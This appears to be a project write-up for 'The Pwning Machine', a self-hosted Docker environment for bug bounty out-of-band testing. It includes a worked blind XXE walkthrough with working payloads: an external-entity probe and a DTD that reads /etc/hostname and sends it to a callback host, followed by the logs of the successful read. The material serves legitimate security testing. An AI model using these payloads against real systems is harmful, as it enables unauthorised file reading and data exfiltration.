Today web services are no longer huge monolithic block, we live in the days of containers and micro services. This change in the application development world also change the way we search and exploit vulnerabilities. Detection and Exploits become more a more complex and often rely on out-of-band exploitation, such as :
- blind XSS to admin panel takeover
- SSRF to DC takeover
- Second order RCE
But setting up and maintaining an environment to do this can be tedious and time consuming, so bug bounty hunters turn to third party services to do theirs testings. We can see a lot of reports using tools such as XSSHunter or BurpCollaborator, while those tools do great at their job they fail to provide the privacy often required by private bug bounty programs.
The Pwning Machine is a bug bounty hunting environment
In less than 10 minutes, anyone can set up a Docker-based environment on a dedicated server.
POWERDNS with a simple api to manage rules via command line:
> pm dns add local.example.com A 127.0.0.1
A NGINX server is booted along with a handy mapping from hostname to path logic.
For example if you want to handle request on
you can just put your php files in
Traefik handles all incoming http(s) traffic and forwards it to the right container, while automatically taking care of your ssl certificates.
Setting up a domain for a new http service is as simple as filling this yaml config file:
services: web: https: domains: - example.com - *.example.com http: domains: - unsafe.example.com
The pipeline runner [in developement]
The pipeline runner is an actively developped feature that will allow you to run predefined tasks sequences directly on you server. One simple example would be to have a first task that does DNS enumeration, takes the domain list and passes it to another task that will check the domain for http services, and finally forwards it for a last task that will screenshot that page.
The pipeline runner allows to build complex and powerful sequences with small building block, thus allowing you to slash the hassle of issuing tiedous and repetitive command sequences. You can think of it as the CI pipeline from Gitlab.
Here is a scenario using only the core features of pwn-machine.
Imagine you found a endpoint accepting XML and your want to test XXE, but it’s completely blind.
The first thing you might do is submitting a simple payload with an external entity…
<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://callback_check.example.com/"> %ext; ]> <r></r>
… and wait for a callback in your dns logs.
$ pm service logs -f powerdns --tail 5 pdns_1 | Jun 19 11:16:33 Remote x.x.x.x wants 'www.example.com|A', do = 0, bufsize = 512: packetcache MISS pdns_1 | Jun 19 11:16:33 Remote x.x.x.x wants 'ns.example.com|A', do = 0, bufsize = 512: packetcache MISS pdns_1 | Jun 19 11:18:16 Remote x.x.x.x wants 'ns.example.com|AAAA', do = 1, bufsize = 1232 (4096): packetcache MISS pdns_1 | Jun 19 11:18:16 Remote x.x.x.x wants 'ns.example.com|A', do = 1, bufsize = 1232 (4096): packetcache MISS pdns_1 | Jun 19 11:18:16 Remote x.x.x.x wants 'callback_check.example.com|A', do = 1, bufsize = 1232 (4096): packetcache MISS
We got a hit! That means the endpoint is vulnerable. Let’s try to do some file reading.
To do so we need to host a dtd file on our domain.
$> # First we mount the web server volume localy $> pm volume mount webroot Volume 'webroot' mounted on '/tmp/example.com-webroot-8azk6vfx'. Exit this shell (ctrl+d) to unmount. webroot $> # we want our file to be accessible via https://xxe.example.com/file_read.dtd webroot $> cd example.com/xxe webroot $> cat << 'EOF' > file_read.dtd <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://callback.example.com/?%file;'>"> %all; EOF webroot $> # When we are done, just exit the shell to unmount the volume webroot $> exit $>
Our dtd is ready, we need to use another XML payload to actually load it.
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "https://xxe.example.com/file_read.dtd"> <data>&send;</data>
$> pm service logs -f web-nginx --tail 2 nginx_1 | xxe.example.com 0.0.0.0 [19/Jun/2020:11:38:51 +0000] "GET /file_read.dtd HTTP/1.1" 200 "-" "TURBO XML 2000" nginx_1 | callback.example.com 0.0.0.0 [19/Jun/2020:11:38:52 +0000] "GET /3288f6291315 HTTP/1.1" 200 "-" "TURBO XML 2000"
You successfully read a file on the remote host, here
3288f6291315, this is probably a docker container.
Each module is run via the simple builtin pm command
The pm shell is where you administer the Pwn-Machine
> pm --help Usage: pm [OPTIONS] COMMAND [ARGS]... Options: --help Show this message and exit. Commands: container Manage containers dns Manage DNS env Display the commands to set up the environment for the Docker... ps List services service Manage Services setup Setup pwn machine ssh SSH to the host version Show version volume Manage Volumes
The Pwn-Machine is a collaborative environment
This project, while functional and effective, still is at an early stage. You are more than welcomed to fork, develop, and amend the codebase on the project Github